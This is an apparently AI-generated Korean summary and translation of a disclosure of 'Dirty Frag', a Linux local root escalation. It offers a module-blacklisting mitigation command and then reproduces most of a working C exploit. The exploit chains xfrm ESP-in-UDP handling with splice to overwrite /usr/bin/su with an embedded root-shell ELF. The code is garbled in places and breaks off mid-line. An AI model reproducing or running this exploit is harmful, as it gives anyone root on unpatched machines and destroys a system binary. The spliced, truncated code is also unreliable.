Dirtyfrag: Universal Linux LPE
요약
Dirtyfrag는 모든 주요 리눅스 배포판에서 루트 권한을 획득할 수 있는 보편적인 LPE(Privilege Escalation) 취약점입니다. 이 취약점은 기존의 'Copy Fail'과 유사하게 작동하며, 두 개의 분리된 커널 취약점을 연쇄적으로 이용합니다. 현재 패치나 CVE가 존재하지 않아 위험도가 매우 높으며, 사용자들은 제공된 명령어를 통해 해당 모듈을 제거하여 시스템을 보호해야 합니다.
핵심 포인트
- Dirtyfrag는 모든 주요 리눅스 배포판에서 작동하는 보편적인 루트 권한 상승(LPE) 취약점이다.
- 이 취약점은 두 개의 분리된 커널 취약점을 연쇄적으로 이용하며, 'Copy Fail'과 유사한 영향을 미친다.
- 현재 이 취약점에 대한 패치나 CVE가 존재하지 않아 즉각적인 보안 조치가 필요하다.
- 사용자는 제공된 `rmmod` 명령어를 사용하여 취약점이 발생한 모듈(esp4, esp6, rxrpc)을 제거해야 한다.
안녕하세요. 이 보고서는 모든 주요 배포판에서 루트 권한을 획득할 수 있는 'Dirty Frag'라는 보편적 LPE(Privilege Escalation)에 대한 보고서입니다.
이 취약점은 이전 'Copy Fail' 취약점과 유사한 영향을 미칩니다. embargo(비밀유지 기간)가 해제되었기 때문에 현재 해당 취약점에 대한 패치나 CVE는 존재하지 않습니다.
linux-distros@lists.openwall.org 유지보수자와의 상담 후, 그리고 유지보수자들의 요청에 따라 이 Dirty Frag 문서를 공개적으로 배포합니다.
이전 Copy Fail 취약점과 마찬가지로, Dirty Frag 역시 모든 주요 배포판에서 즉시 루트 권한 상승을 가능하게 하며, 두 개의 분리된 취약점을 연쇄합니다:
- https://git.kernel.org/pub/scm/linux/kernel/git/netdev/net.git/commit/?id=f4c50a4034e62ab75f1d5cdd191dd5f9c77fdff4
- https://lore.kernel.org/all/afKV2zGR6rrelPC7@v4bel/
책임 있는 공개 일정과 embargo 가 해제되었기 때문에, 모든 배포판에 대한 패치는 존재하지 않습니다.
다음 명령어를 사용하여 취약점이 발생한 모듈을 제거하세요:
sh -c "printf 'install esp4 /bin/false\ninstall esp6 /bin/false\ninstall rxrpc /bin/false\n' > /etc/modprobe.d/dirtyfrag.conf; rmmod esp4 esp6 rxrpc 2>/dev/null; true"
취약점과 embargo 가 해제된 이유에 대한 상세 기술 정보는 https://dirtyfrag.io 를 확인하세요.
전체 exploit 코드:
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <unistd.h>
#include <fcntl.h>
#include <errno.h>
#include <sched.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/uio.h>
#include <sys/ioctl.h>
#include <sys/wait.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <net/if.h>
#include <linux/if.h>
#include <linux/netlink.h>
#include <linux/rtnetlink.h>
#include <linux/xfrm.h>
#ifndef UDP_ENCAP
#define UDP_ENCAP 100
#endif
#ifndef UDP_ENCAP_ESPINUDP
#define UDP_ENCAP_ESPINUDP 2
#endif
#ifndef SOL_UDP
#define SOL_UDP 17
#endif
#define ENC_PORT 4500
#define SEQ_VAL 200
#define REPLAY_SEQ 100
#define TARGET_PATH "/usr/bin/su"
#define PATCH_OFFSET 0 /* overwrite whole ELF starting at file[0] */
#define PAYLOAD_LEN 192 /* bytes of shell_elf to write (48 triggers) */
#define ENTRY_OFFSET 0x78 /* shellcode entry inside the new ELF */
/* * 192-byte minimal x86_
64 root-shell ELF. * _start at 0x400078: * setgid(0); setuid(0); setgroups(0, NULL); * execve("/bin/sh", NULL, ["TERM=xterm", NULL]); * PT_LOAD covers 0xb8 bytes (the actual content) at vaddr 0x400000 R+X. * * Setting TERM in the new shell's env silences the * "tput: No value for $TERM" / "test: : integer expected" noise * /etc/bash.bashrc and friends emit when TERM is unset. * * Code (from offset 0x78): * 31 ff xor edi, edi * 31 f6 xor esi, esi * 31 c0 xor eax, eax * b0 6a mov al, 0x6a ; setgid * 0f 05 syscall * b0 69 mov al, 0x69 ; setuid * 0f 05 syscall * b0 74 mov al, 0x74 ; setgroups * 0f 05 syscall * 6a 00 push 0 ; envp[1] = NULL * 48 8d 05 12 00 00 00 lea rax, [rip+0x12] ; rax = "TERM=xterm" * 50 push rax ; envp[0] * 48 89 e2 mov rdx, rsp ; rdx = envp * 48 8d 3d 12 00 00 00 lea rdi, [rip+0x12] ; rdi = "/bin/sh" * 31 f6 xor esi, esi ; rsi = NULL (argv) * 6a 3b 58 push 0x3b ; pop rax ; rax = 59 (execve) * 0f 05 syscall ; execve("/bin/sh",NULL,envp) * "TERM=xterm\0" (offset 0xa5..0xaf) * "/bin/sh\0" (offset 0xb0..0xb7) */ static const uint8_t shell_elf[PAYLOAD_LEN] = { 0x7f,0x45,0x4c,0x46,0x02,0x01,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 0x02,0x00,0x3e,0x00,0x01,0x00,0x00,0x00,0x78,0x00,0x40,0x00,0x00,0x00,0x00,0x00, 0x40,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 0x00,0x00,0x00,0x00,0x40,0x00,0x38,0x00,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 0x01,0x00,0x00,0x00,0x05,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 0x00,0x00,0x40,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x40,0x00,0x00,0x00,0x00,0x00, 0xb8,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xb8,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 0x00,0x10,0x00,0x00,0x00,0x00,0x00,0x00,0x31,0xff,0x31,0xf6,0x31,0xc0,0xb0,0x6a, 0x0f,0x05,0xb0,0x69,0x0f,0x05,0xb0,0x74,0x0f,0x05,0x6a,0x00,0x48,0x8d,0x05,0x12, 0x00,0x00,0x00,0x50,0x48,0x89,0xe2,0x48,0x8d,0x3d,0x12,0x00,0x00,0x00,0x31,0xf6, 0x6a,0x3b,0x58,0x0f,0x05,0x54,0x45,0x52,0x4d,0x3d,0x78,0x74,0x65,0x72,0x6d,0x00, 0x2f,0x62,0x69,0x6e,0x2f,0x73,0x68,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, }; extern int g_su_verbose; int g_su_verbose = 0; #define SLOG(fmt, ...) do { if (g_su_verbose) fprintf(stderr, "[su] " fmt "\n", ##__VA_ARGS__); } while (0) static int write_proc(const char *path, const char *buf) { int fd = open(path, O_WRONLY); if (fd < 0) return -1; int n = write(fd, buf, strlen(buf)); close(fd); return n; } static void setup_userns_netns(void) { uid_t real_uid = getuid(); gid_t real_gid = getgid(); if (unshare(CL
ONE_NEWUSER | CLONE_NEWNET) < 0) { SLOG("unshare: %s", strerror(errno)); exit(1); } write_proc("/proc/self/setgroups", "deny"); char map[64]; snprintf(map, sizeof(map), "0 %u 1", real_uid); if (write_proc("/proc/self/uid_map", map) < 0) { SLOG("uid_map: %s", strerror(errno)); exit(1); } snprintf(map, sizeof(map), "0 %u 1", real_gid); if (write_proc("/proc/self/gid_map", map) < 0) { SLOG("gid_map: %s", strerror(errno)); exit(1); } int s = socket(AF_INET, SOCK_DGRAM, 0); if (s < 0) { SLOG("socket: %s", strerror(errno)); exit(1); } struct ifreq ifr; memset(&ifr, 0, sizeof(ifr)); strncpy(ifr.ifr_name, "lo", IFNAMSIZ); if (ioctl(s, SIOCGIFFLAGS, &ifr) < 0) { SLOG("SIOCGIFFLAGS: %s", strerror(errno)); exit(1); } ifr.ifr_flags |= IFF_UP | IFF_RUNNING; if (ioctl(s, SIOCSIFFLAGS, &ifr) < 0) { SLOG("SIOCSIFFLAGS: %s", strerror(errno)); exit(1); } close(s); } static void put_attr(struct nlmsghdr *nlh, int type, const void *data, size_t len) { struct rtattr *rta = (struct rtattr *)((char *)nlh + NLMSG_ALIGN(nlh->nlmsg_len)); rta->rta_type = type; rta->rta_len = RTA_LENGTH(len); memcpy(RTA_DATA(rta), data, len); nlh->nlmsg_len = NLMSG_ALIGN(nlh->nlmsg_len) + RTA_ALIGN(rta->rta_len); } static int add_xfrm_sa(uint32_t spi, uint32_t patch_seqhi) { int sk = socket(AF_NETLINK, SOCK_RAW, NETLINK_XFRM); if (sk < 0) return -1; struct sockaddr_nl nl = { .nl_family = AF_NETLINK }; if (bind(sk, (struct sockaddr*)&nl, sizeof(nl)) < 0) { close(sk); return -1; } char buf[4096] = {0}; struct nlmsghdr *nlh = (struct nlmsghdr *)buf; nlh->nlmsg_type = XFRM_MSG_NEWSA; nlh->nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK; nlh->nlmsg_pid = getpid(); nlh->nlmsg_seq = 1; nlh->nlmsg_len = NLMSG_LENGTH(sizeof(struct xfrm_usersa_info)); struct xfrm_usersa_info *xs = (struct xfrm_usersa_info *)NLMSG_DATA(nlh); xs->id.daddr.a4 = inet_addr("127.0.0.1"); xs->id.spi = htonl(spi); xs->id.proto = IPPROTO_ESP; xs->saddr.a4 = inet_addr("127.0.0.1"); xs->family = AF_INET; xs->mode = XFRM_MODE_TRANSPORT; xs->replay_window = 0; xs->reqid = 0x1234; xs->flags = XFRM_STATE_ESN; xs->lft.soft_byte_limit = (uint64_t)-1; xs->lft.hard_byte_limit = (uint64_t)-1; xs->lft.soft_packet_limit = (uint64_t)-1; xs->lft.hard_packet_limit = (uint64_t)-1; xs->sel.family = AF_INET; xs->sel.prefixlen_d = 32; xs->sel.prefixlen_s = 32; xs->sel.daddr.a4 = inet_addr("127.0.0.1"); xs->sel.saddr.a4 = inet_addr("127.0.0.1"); { char alg_buf[sizeof(struct xfrm_algo_auth) + 32]; memset(alg_buf, 0, sizeof(alg_buf)); struct xfrm_algo_auth *aa = (s
struct xfrm_algo_auth *alg_buf;
strncpy(aa->alg_name, "hmac(sha256)", sizeof(aa->alg_name)-1);
aa->alg_key_len = 32 * 8;
aa->alg_trunc_len = 128;
memset(aa->alg_key, 0xAA, 32);
put_attr(nlh, XFRMA_ALG_AUTH_TRUNC, alg_buf, sizeof(alg_buf));
}
{ char alg_buf[sizeof(struct xfrm_algo) + 16]; memset(alg_buf, 0, sizeof(alg_buf)); struct xfrm_algo *ea = (struct xfrm_algo *)alg_buf;
strncpy(ea->alg_name, "cbc(aes)", sizeof(ea->alg_name)-1);
ea->alg_key_len = 16 * 8;
memset(ea->alg_key, 0xBB, 16);
put_attr(nlh, XFRMA_ALG_CRYPT, alg_buf, sizeof(alg_buf));
}
{ struct xfrm_encap_tmpl enc; memset(&enc, 0, sizeof(enc)); enc.encap_type = UDP_ENCAP_ESPINUDP;
enc.encap_sport = htons(ENC_PORT);
enc.encap_dport = htons(ENC_PORT);
enc.encap_oa.a4 = 0;
put_attr(nlh, XFRMA_ENCAP, &enc, sizeof(enc));
}
{ char esn_buf[sizeof(struct xfrm_replay_state_esn) + 4]; memset(esn_buf, 0, sizeof(esn_buf)); struct xfrm_replay_state_esn *esn = (struct xfrm_replay_state_esn *)esn_buf;
esn->bmp_len = 1;
esn->oseq = 0;
esn->seq = REPLAY_SEQ;
esn->oseq_hi = 0;
esn->seq_hi = patch_seqhi;
esn->replay_window = 32;
put_attr(nlh, XFRMA_REPLAY_ESN_VAL, esn_buf, sizeof(esn_buf));
}
if (send(sk, nlh, nlh->nlmsg_len, 0) < 0) {
close(sk);
return -1;
}
char rbuf[4096];
int n = recv(sk, rbuf, sizeof(rbuf), 0);
if (n < 0) {
close(sk);
return -1;
}
struct nlmsghdr *rh = (struct nlmsghdr *)rbuf;
if (rh->nlmsg_type == NLMSG_ERROR) {
struct nlmsgerr *e = NLMSG_DATA(rh);
if (e->error) {
close(sk);
return -1;
}
}
close(sk);
return 0;
}
static int do_one_write(const char *path, off_t offset, uint32_t spi) {
int sk_recv = socket(AF_INET, SOCK_DGRAM, 0);
if (sk_recv < 0) return -1;
int one = 1;
setsockopt(sk_recv, SOL_SOCKET, SO_REUSEADDR, &one, sizeof(one));
struct sockaddr_in sa_d = { .sin_family = AF_INET, .sin_port = htons(ENC_PORT), .sin_addr = { inet_addr("127.0.0.1") }, };
if (bind(sk_recv, (struct sockaddr*)&sa_d, sizeof(sa_d)) < 0) {
close(sk_recv);
return -1;
}
int encap = UDP_ENCAP_ESPINUDP;
if (setsockopt(sk_recv, IPPROTO_UDP, UDP_ENCAP, &encap, sizeof(encap)) < 0) {
close(sk_recv);
return -1;
}
int sk_send = socket(AF_INET, SOCK_DGRAM, 0);
if (sk_send < 0) {
close(sk_recv);
return -1;
}
if (connect(sk_send, (struct sockaddr*)&sa_d, sizeof(sa_d)) < 0) {
close(sk_send);
close(sk_recv);
return -1;
}
int file_fd = open(path, O_RDONLY);
if (file_fd < 0) {
close(sk_send);
close(sk_recv);
return -1;
}
int pfd[2];
if (pipe(pfd) < 0) {
close(file_fd);
close(sk_send);
close(sk_recv);
return -1;
}
uint8_t hdr[24];
*(uint32_t*)(hdr + 0) = htonl(spi); *(uint32_t*)(hdr + 4) = htonl(SEQ_VAL);
memset(hdr + 8, 0xCC, 16);
struct iovec iov_h = { .iov_base = hdr, .iov_len = sizeof(hdr) };
if (vmsplice(pfd[1], &iov_h, 1, 0) != (ssize_t)sizeof(hdr)) {
close(file_fd);
close(pfd[0]);
close(pfd[1]);
close(sk_send);
close(sk_recv);
return -1;
}
off_t off = offset;
ssize_t s = splice(file_fd, &off, pfd[1], NULL, 16, SPLICE_F_MOVE);
if (s != 16) {
close(file_fd);
close(pfd[0]);
close(pfd[1]);
close(sk_send);
close(sk_recv);
return -1;
}
s = splice(pfd[0], NULL, sk_send, NULL, 24 + 16, SPLICE_F_MOVE);
/* still proceed regardless of splice rc — kernel may have already * decrypted the page in the time between splice and recv */
usleep(150 * 1000);
close(file_fd);
close(pfd[0]);
close(pfd[1]);
close(sk_send);
close(sk_recv);
return s == 40 ? 0 : -1;
}
static int verify_byte(const char *path, off_t offset, uint8_t want) {
int fd = open(path, O_RDONLY);
if (fd < 0) return -1;
uint8_t got;
if (pread(fd, &got, 1, offset) != 1) {
close(fd);
return -1;
}
close(fd);
return got == want ? 0 : -1;
}
static int corrupt_su(void) {
setup_userns_netns();
usleep(100 * 1000);
/* Install 40 xfrm SAs, one per 4-byte chunk. Each carries the
* desired payload word in its seq_hi field. */
for (int i = 0; i < PAYLOAD_LEN / 4; i++) {
uint32_t spi = 0xDEADBE10 + i;
uint32_t seqhi = ((uint32_t)shell_elf[i*4 + 0] << 24) | ((uint32_t)shell_elf[i*4 + 1] << 16) | ((uint32_t)shell_elf[i*4 + 2] << 8) | ((uint32_t)shell_elf[i*4 + 3]);
if (add_xfrm_sa(spi, seqhi) < 0) {
SLOG("add_xfrm_sa #%d failed", i);
return -1;
}
}
SLOG("installed %d xfrm SAs", PAYLOAD_LEN / 4);
for (int i = 0; i < PAYLOAD_LEN / 4; i++) {
uint32_t spi = 0xDEADBE10 + i;
off_t off = PATCH_OFFSET + i * 4;
if (do_one_write(TARGET_PATH, off, spi) < 0) {
SLOG("do_one_write #%d at off=0x%lx failed", i, (long)off);
return -1;
}
}
SLOG("wrote %d bytes to %s starting at 0x%x", PAYLOAD_LEN, TARGET_PATH, PATCH_OFFSET);
return 0;
}
int su_lpe_main(int argc, char **argv) {
for (int i = 1; i < argc; i++) {
if (!strcmp(argv[i], "-v") || !strcmp(argv[i], "--verbose"))
g_su_verbose = 1;
else if (!strcmp(argv[i], "--corrupt-only"))
; /* compat: this body always corrupts only */
}
if (getenv("DIRTYFRAG_VERBOSE"))
g_su_verbose = 1;
pid_t cpid = fork();
if (cpid < 0)
return 1;
if (cpid == 0) {
int rc = corrupt_su();
_exit(rc == 0 ? 0 : 2);
}
int cstatus;
waitpid(cpid, &cstatus, 0);
if (!WIFEXITED(cstatus) || WEXITSTATUS(cstatus) != 0) {
SLOG("corruption stage failed (st
AI 자동 생성 콘텐츠
본 콘텐츠는 HN AI Posts의 원문을 AI가 자동으로 요약·번역·분석한 것입니다. 원 저작권은 원저작자에게 있으며, 정확한 내용은 반드시 원문을 확인해 주세요.
원문 바로가기